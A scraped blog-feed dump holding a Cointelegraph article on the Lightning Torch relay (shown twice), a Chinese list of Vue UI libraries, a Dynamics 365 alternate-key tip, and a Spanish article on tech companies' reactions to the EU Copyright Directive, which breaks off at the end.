blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of TwitterThe Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. “The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. “I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn't expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: “Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. “I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn't going to pass it on. “He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: “Turns out, this community is pretty awesome.” Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped VisaNow that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. “They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith's Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. "Visa has been misusing its position and charging retailers excessive fees for a long time," Kroger's Chief Financial Officer Mike Schlotman said. In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started.   from Cointelegraph.com News https://cointelegraph.com/news/the-lightning-torch-how-the-community-united-to-teach-jack-dorsey-about-feeless-rapid-off-chain-transactions</text><languageCode>en</languageCode><locationCode>gl</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-paypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link></links><tags><tag>Cointelegraph.com NewsCRYTPTALKALERT</tag></tags><images /><indexedAt>2019-03-27T18:47:30Z</indexedAt><publishedAt>2019-03-27T18:19:00Z</publishedAt><reindexedAt>2019-03-27T18:47:30Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2781128427860435002</blogId><blogName>CryptoTalkAlert</blogName><blogUrl>https://www.cryptotalkalert.ga/</blogUrl><blogRank>1</blogRank><authority>1</authority></post><post><id>9046352982713067015</id><author>chukasn230</author><url>https://cryptocurrencylounge.wordpress.com/2019/03/27/the-lightning-torch-how-the-community-united-to-teach-jack-dorsey-about-feeless-rapid-off-chain-transactions/</url><title>The Lightning Torch: How the Community United to Teach Jack Dorsey About Feeless, Rapid Off-Chain Transactions</title><text>Over the last few weeks, the Lightning Network — Bitcoin’s off-chain scaling protocol — has made waves. 
Over the last few weeks, Bitcoin’s (BTC) second-layer scaling protocol, called the Lightning Network (LN), has gained a lot of traction, steadily proving to become a viable solution to BTC’s infamous scalability problem and even potential competitor to American payments giant Visa. 
Thanks to the community-driven Twitter experiment called “the Lightning Torch,” the LN has now been co-signed by Jack Dorsey, who says that integrating the protocol on Square’s popular Cash App is a question of “when, not if.” On top of raising awareness, the social media campaign has also shown what the LN technology is ready to offer in real conditions — but also revealed some of its shortcomings. 
A brief history of the Lightning Network, an ambitious campaign to tackle Bitcoin’s scalability
The history of the protocol could be traced back to January 2016, when Joseph Poon and Thaddeus Dryja published a white paper dubbed “The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments.” In it, they underpinned Bitcoin’s Achilles Heel — the scalability issue — and compared the cryptocurrency’s capacity to Visa to illustrate their point: 

“The payment network Visa achieved 47,000 peak transactions per second (tps) on its network during the 2013 holidays, and currently averages hundreds of millions per day. Currently, Bitcoin supports less than 7 transactions per second with a 1 megabyte block limit.” 

Achieving Visa-like volume on the Bitcoin network seemed barely possible, given that handling that kind of bandwidth and storage would require a great amount of computing power. However, Poon and Dryja argued, there is a way to make Bitcoin a feasible alternative to existing payment systems while keeping its signature decentralization and security — and that would be off-chain scaling. 
Enter LN, a network of off-chain payment channels, which require almost no fees and allow for fast, seamless transactions that are made on a layer above the actual blockchain. 
“With an off chain payment channel you can deposit, for instance, $100 once, and pay network fee for it, and then pay to your favorite shop as many times as you wish, without paying any transaction fees to the network, to the sum of $100,” explains Eyal Shani, a blockchain researcher at consulting group Aykesubir. He added: 
“Instead of paying a transaction and sending it to the entire network, you send an encrypted and signed ‘promise’ that you owe that other party, say, $10 out of the $100. Finally, if the paid party needs the money for another purpose, they close the channel by sending the promise to the entire network. Theoretically, you can do millions of transactions for the price of twice the network fee.” 
That way, users can conduct numerous transactions outside of the blockchain and then, when they’re done, record them as a single one, hence saving a lot of processing for the ledger. To describe how the channels work in greater detail, Shani makes an analogy with buckets of water, emphasizing one of its main shortcoming along the way: 

“When you deposit money on it, you’re filling the bucket and then when you spend it, it slowly loses that water. The bucket can also be full, as you can’t have too much water in it. Because of this, for example, once you open a LN channel, you cannot receive money right away — your bucket is full, and first you have to spend some. However, based on the fact that you want to transfer (usually) money from A to D, via the channels of B and C along the way it is a real problem to keep everyone’s channel with enough liquidity (i.e, balance) to make the transfer.” 

Although the LN has been designed specifically for Bitcoin’s blockchain, Shani adds, the concept can be performed on other blockchains — for instance, there is the Raiden network created for Ethereum (ETH). 
Moreover, as Cointelegraph reported in a more in-depth analysis of the LN, the network is also testing the so-called cross-chain atomic swaps, which are basically transfers of tokens between different blockchains. If properly implemented, this feature could allow to quickly — and with little to no fees — swap any given cryptocurrency to a different one, and hence challenge the use of cryptocurrency exchanges. 
The Lightning Torch — from a local flash mob to a powerful movement co-signed by the CEO of Twitter
The Lightning Torch, also known as LN Trust Chain, is a community-driven experiment aimed at raising awareness about the protocol and testing its robustness. 
It was launched on Jan. 19, when Twitter user and Bitcoin enthusiast Hodlonaut announced he or she was willing to pass on 100,000 Satoshis (the smallest unit of a Bitcoin) via the LN to the first person who seems reliable. That volunteer would have to add another 10,000 Satoshis and send the whole amount to another person willing to participate, and so on. 
The process somewhat resembles the Olympic torch relay, hence the name “the Lightning Torch.” Eventually, the hashtag #LNTrustChain began circulating to ease communication among community members involved in the experiment, giving the movement an additional boost on social media. 
“The experiment got traction pretty fast among my little twitter bubble. First 100 passes took less than a week.” Hodlonaut tells Cointelegraph over Twitter DMs. “I think busiest day may actually have been the first day, January 19, with more than 20 passes. The pace of passing has decreased with time, mainly because people are trying to make passes to specific people instead of just sending to one of the invoices sent to them on twitter.” 
As of press time, the torch has been carried by more than 240 people in 52 different countries. The list of participants includes, among others, a 88-year-old grandmother of a crypto enthusiast, Twitter CEO Jack Dorsey, financial derivatives giant Fidelity Investments, LinkedIn co-founder and former PayPal Chief Operating Officer Reid Hoffman and Monero (XMR) Core developer Riccardo Spagni, who passed the torch while inflight. 
“I was excited about LN, and wanted to have some fun/experiment with it.” Hodlonaut recalls. “I was curious to see how far something like that could go. Didn’t expect it to last very long or get much attention… So the @jack thing was pretty mindblowing” 
Initially, Hodlonaut says, his or her goal was to simply spread awareness about the LN and its potential use. He or she has been interested in the protocol since the testnet days, but it was in September 2018 when Hodlonaut finally set up their own node using RaspiBlitz’s instructions. Hodlonaut continued: 
“Why I got interested is because the instant nature is so fascinating. To be able to send fractions of bitcoin instantly like this was mind blowing in the same way my first transactions on-chain after discovering Bitcoin in 2013.” 
Even though the LN community has appeared overall trustful and cooperative, there have been a few bumps in the road. Early on, when the torch had amassed around 250,000 Satoshis, it was hijacked by an umbrageous user. 
“I thought it was the end, but on his own initiative the guy who sent to the thief, resent to a new person out of his own pocket to keep the torch alive,” the movement’s founder says. 
Then, around 2.5 million Satoshis, the torch fell into the hands of a reluctant person who declared he wasn’t going to pass it on. 
“He was hostile to the experiment, calling it a stupid circlejerk. But once again, the guy who sent it to him, resent to a new person out of his own pocket,” Hodlonaut says, summarizing at some point: 

“Turns out, this community is pretty awesome.” 

Foreseeable future: donations to Bitcoin Venezuela, negotiations with major United States retailer who has dropped Visa
Now that the movement is rapidly growing, a more concrete milestone has been set up. “The goal is to get to the Lightning Network tx cap at 4.29 Msats,” Hodlonaut says. “The torch is then donated to @btcven [Bitcoin Venezuela] along with the funds from this fundraiser.” 
Bitcoin Venezuela was chosen because of the local economic hardship, Hodlonaut explains. Indeed, Venezuela’s economy has reportedly fallen by 47 percent since the end of 2013, as the bolivar, the local sovereign currency, have been drastically inflating under the politics of Nicolas Maduro, the country’s president. As a result, the local people have largely turned to Bitcoin, which, due to its decentralized nature, appeared as a means to bypass the unstable fiat currency — last month, BTC trading volumes in Venezuela reached a new all-time high. 
“They [Bitcoin Venezuela] have a long track record of spreading bitcoin adoption, feeding people and trying to put infrastructure like mesh networks in place,” the movement’s founder says. 
Meanwhile, despite still being in its infant stage, the LN is picking up the pace. Although it is still unclear whether the protocol will ever be able to dethrone Visa, there are promising signs. Earlier this month, major U.S. retailer Kroger announced that its Smith’s Food &amp; Drug stores will not accept Visa cards starting April 3, citing the high fees that company imposes on large retailers. “Visa has been misusing its position and charging retailers excessive fees for a long time,” Kroger’s Chief Financial Officer Mike Schlotman said. 
In response, Anthony Pompliano, founder of Morgan Creek Capital — an institutional investment house with $1.5 billion in assets under management — suggested that Kroger should deploy the Lightning Network in its stores. According to one of his tweets, the negotiations have already started. 
 
from Cointelegraph.com News https://ift.tt/2OBt6ox 
via IFTTT</text><languageCode>en</languageCode><locationCode>fr</locationCode><coordinates /><links><link>https://www.cointelegraph.com/tags/bitcoin</link><link>https://www.cointelegraph.com/tags/scalability</link><link>https://www.cointelegraph.com/tags/lightning-network</link><link>https://www.cointelegraph.com/explained/blockchains-scaling-problem-explained</link><link>https://www.cointelegraph.com/tags/usa</link><link>https://www.cointelegraph.com/tags/visa</link><link>https://www.cointelegraph.com/tags/twitter</link><link>https://www.cointelegraph.com/news/jack-dorsey-says-cash-app-support-for-lightning-network-a-question-of-when-not-if</link><link>https://lightning.network/lightning-network-paper.pdf</link><link>https://www.cointelegraph.com/lightning-network-101/altcoins-with-lightning-network-support</link><link>https://www.cointelegraph.com/news/raiden-project-sets-milestone-for-ethereums-scaling-solution</link><link>https://www.cointelegraph.com/tags/ethereum</link><link>https://www.cointelegraph.com/lightning-network-101/what-is-lightning-network-and-how-it-works#how-does-it-work</link><link>https://www.cointelegraph.com/tags/cryptocurrency-exchanges</link><link>https://www.twitter.com/hodlonaut/status/1086703428791865345</link><link>https://www.twitter.com/hashtag/lntrustchain</link><link>https://www.twitter.com/Ibelite/status/1097692828812099584</link><link>https://www.cointelegraph.com/news/derivatives-giant-fidelity-investments-receives-and-passes-on-the-lightning-torch</link><link>https://www.cointelegraph.com/tags/linkedin</link><link>https://www.cointelegraph.com/tags/paypal</link><link>https://www.cointelegraph.com/news/ex-paypal-coo-hails-bitcoin-acceleration-as-he-joins-lightning-torch-relay</link><link>https://www.cointelegraph.com/tags/monero</link><link>https://www.twitter.com/fluffypony/status/1094044282724462592</link><link>https://www.github.com/rootzoll/raspiblitz</link><link>https://www.tallyco.in/s/thz6f7</link><link>https://www.cointelegraph.com/tags/venezuela</link><link>https://www.washingtonpost.com/business/2019/02/01/venezuela-is-biggest-economic-disaster-modern-history/?noredirect=on&amp;utm_term=.b90f2efde1dd</link><link>https://www.cointelegraph.com/tags/maduro</link><link>https://www.cointelegraph.com/news/venezuela-on-fire-how-maduros-petro-plan-failed-to-bail-out-the-country</link><link>https://www.cointelegraph.com/news/bitcoin-trading-reaches-all-time-high-in-venezuela-amidst-ongoing-economic-collapse</link><link>https://www.marketwatch.com/story/krogers-smiths-stores-to-stop-accepting-visa-credit-cards-citing-excessive-fees-2019-03-01</link><link>https://www.cointelegraph.com/news/major-us-retailer-kroger-drops-visa-morgan-creek-digital-suggests-lightning-network</link><link>https://www.twitter.com/APompliano/status/1102273796046798850</link><link>https://www.ift.tt/2OBt6ox</link><link>https://www.ifttt.com/?ref=da&amp;site=wordpress</link></links><tags><tag>Uncategorised</tag><tag>Cointelegraph.com News</tag><tag>IFTTT</tag></tags><images /><indexedAt>2019-03-27T18:37:47Z</indexedAt><publishedAt>2019-03-27T18:18:35Z</publishedAt><reindexedAt>2019-03-27T18:37:47Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>16585740695986329090</blogId><blogName>CryptoCurrency Lounge</blogName><blogUrl>https://cryptocurrencylounge.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>5104977259915721539</id><author>weixin_42776111</author><url>https://blog.csdn.net/weixin_42776111/article/details/88806957</url><title>[原]Vue PC后台系统组件大全</title><text>1.https://vue.ant.design/





2.http://element-cn.eleme.io/#/zh-CN





3.https://www.iviewui.com/





4.https://at-ui.github.io/at-ui/#/zh





5.https://www.heyui.top





6.https://gith...                    
                        作者：weixin_42776111 发表于 2019/03/25 21:41:17 原文链接 https://blog.csdn.net/weixin_42776111/article/details/88806957                    
                    
                        阅读：34</text><languageCode>zh</languageCode><locationCode /><coordinates /><links /><tags /><images /><indexedAt>2019-03-27T18:15:58Z</indexedAt><publishedAt>2019-03-27T18:15:58Z</publishedAt><reindexedAt>2019-03-27T18:15:58Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>6561103644953705809</blogId><blogName>我有小JJ你没有</blogName><blogUrl>https://blog.csdn.net/weixin_42776111</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>17366635445581436359</id><author>Artem</author><url>https://fixrm.wordpress.com/2019/03/27/how-to-retrieve-or-delete-by-alternative-key/</url><title>How to Retrieve or Delete by Alternative Key</title><text>Alternative Keys are without doubt a killer feature if you are developing integrations. But one thing what is not clear to me for a while, is why official doc is emphasizing Create scenario? Use an alternate key to create a record.  Using Alternative Key to Create record doesn’t make a lot of scene to me because nothing changed here. May be expect less convenient way to pass key attribute values  
Update scenario is more understandable and we really can benefit here. But wait, what about Retrieve? Typically we have from 3 to 5 read operations per one write operation. Do we have an option to use Alternative Keys here? The answer is yes, but not as easy as with Update. The reason for that is another strange thing about D365 SDK: Retrieve method signature. 
For some unexplained reasons, Retrieve method takes separate Id and LogicalName parameters instead of single EntityReference. Therefore you can’t use new EntityReference constructor to pass Alternative Key to Retrieve directly: 
EntityReference(string logicalName, string keyName, object keyValue) 
But fortunately for us, RetrieveRequest use EntityReference and can be used together with Alternative Keys. The best possible way to do that is to override Retrieve with extension method like this: 
 
You can do the same trick with Delete method or with any other Request message that use EntityReference as a parameter. 
But wait, there is even more easy way to do that! You can take if from existing GitHub repo or use NuGet package: 

https://github.com/FixRM/D365Extensions
https://www.nuget.org/packages/D365Extensions

Of course it’s up to you to decide but I definitely recommend you NuGet. The reason why I create this repo is because once I found myself writing the same extension methods from project to project. That’s why I decided to put them all together in one place and make it available to others. 
Yes, it’s not a rocket science and there are much better projects out there on GitHub, but trust me, you will never stop if you try it. After a while you will feel like this methods was there all time and never will use Retrieve which take separate Id and LogicalName any more  
Thank you for reading!</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://docs.microsoft.com/en-us/dynamics365/customer-engagement/developer/use-alternate-key-create-record</link><link>https://www.github.com/FixRM/D365Extensions</link><link>https://www.nuget.org/packages/D365Extensions</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T18:15:59Z</indexedAt><publishedAt>2019-03-27T18:14:50Z</publishedAt><reindexedAt>2019-03-27T18:15:59Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2551248046699426414</blogId><blogName>FixRM</blogName><blogUrl>https://fixrm.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>17183480834201660394</id><author>janyobytes</author><url>https://janyobytes.wordpress.com/2019/03/27/esta-ha-sido-la-reaccion-de-las-grandes-companias-de-tecnologia-ante-la-nueva-ley-de-copyright-de-la-ue-2/</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá.  
Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, “convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva”. A lo que concluye que “a todos los efectos es como si los subieran ellos personalmente”. 
Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura.   
 



    
     
   
  


    En Xataka
   
   Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?
  
 

Google

  

Google ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara”.  
La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: 

“La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas”. 

Youtube
Youtube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley.  

Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote  pic.twitter.com/ETHEOYwr7w 
— YouTube Creators (@YTCreators) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. “Es el principio”, apunta.  
Wikipedia

  

Para protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde “esperan ver repercusiones directas en todas las actividades online”.  

You, the Internet user, have lost a huge battle today in Internet parliament.  The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people.  This is not about helping artists, it is about empowering monopolistic practices. 
— Jimmy Wales (@jimmy_wales) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables.  
Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las “seguras” desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción.  
Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público.  
Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. “Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años”, explica Wikimedia. 
Reddit

  

Reddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos.   
Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final.  
Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso.  
Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. 
Mozilla
La fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida.  
Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea.  
Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley.  
Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado:  

No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. 
Los usuarios de la red sentirán en todas partes el impacto de este voto desastroso y esperamos que los derechos de autor vuelvan al escenario político. Hasta entonces, haremos todo lo posible para minimizar el impacto negativo de esta ley en la experiencia de Internet de los europeos y la capacidad de las empresas europeas para competir en el mercado digital. 

Twitter

  

Otra de las grandes empresas tecnológicas que se ha pronunciado sobre la nueva directiva de Copyright ha sido Twitter.  
Preguntados por Xataka, fuentes de Twitter declaran que la compañía ha participado en el debate de la nueva ley del Copyright desde el principio.  

“Conservamos nuestras preocupaciones sobre las implicaciones del voto de hoy para la naturaleza abierta, creativa y conversacional de Internet. Seguiremos colaborando con los estados miembros de la UE y la sociedad civil a medida que el proceso de implementación evolucione”. 

Adicionalmente, en Twitter hacen referencia al posicionamiento de la asociación sectorial EDiMA, organización que representa en Bruselas los intereses de los negocios digitales y las plataformas online.   

“Aunque reconocemos que el texto final ha mejorado significativamente con respecto a borradores anteriores, aún estamos en desacuerdo fundamental con él, ya que socava otras leyes de la UE, intenta forzar un modelo de negocio de licencias en plataformas abiertas y debilita la privacidad fundamental y la libertad de expresión de los derechos de Ciudadanos de la UE”. 

Github
Github, ahora en manos de Microsoft, ha tenido una posición bastante beligerante contra la nueva ley del copyright. Una postura que contrasta con la de Microsoft, que no ha tomado partido ni se ha pronunciado abiertamente.  

EU Parliament final #CopyrightDirective vote next week! TL;DR software development itself carved out, © reform needed esp for #TDM, but #Article11 and #Article13 problematic for what developers build, and for the internet broadly. Our analysis holds https://t.co/KChdnNY7Wj 
— GitHub Policy (@GitHubPolicy) 21 de marzo de 2019 
https://platform.twitter.com/widgets.js 
A principios de febrero, la compañía publicaba en su blog su posición sobre la directiva de Copyright que finalmente ha sido aprobada. Un lugar donde reflejaban los cambios y las excepciones, como las del software open source, que han sufrido los polémicos artículos. Según declaraciones de Abby Vollmer, Senior Policy Manager de Github a The Next Web: “Algunos códigos están bajo copyright. Así que esto sería un gran problema para nosotros, ya que la base de código de todos en GitHub estaría sujeta a este requisito de filtración.”. 
Menéame
Pasando a terreno español, Daniel Seijo, CEO de Menéame, ha publicado un artículo donde explica cómo afectará a Menéame la directiva de copyright europea. ¿Su respuesta? Principalmente que todavía es pronto para saberlo.  

¿Cómo afectará a Menéame la directiva de copyright europeo? https://t.co/wx2eVYu7ZW 
— Daniel Seijo (@dseijo) 27 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Seijo recuerda que todavía se tiene que desarrollar la ley española para su aplicación en este país. Una ley que debería concretar sobre puntos sujetos a interpretación como por ejemplo los snippets.  
Algunos de los puntos relevantes para Menéame de la ley del copyright serían los siguientes: 


“La protección otorgada en virtud del primer párrafo no se aplicará a los actos de hiperenlace”. Lo que llevaría a cuestionar si bastaría con redactar la entradilla de forma manual (o automática) de forma que no contenga texto de la noticia.  


“Los derechos contemplados en el párrafo primero no se aplicarán con respecto al uso de palabras individuales o extractos muy breves de una publicación de prensa.” Un punto que deja margen para la interpretación de lo que se considera “muy breve”.  


¿Y ahora qué?

  

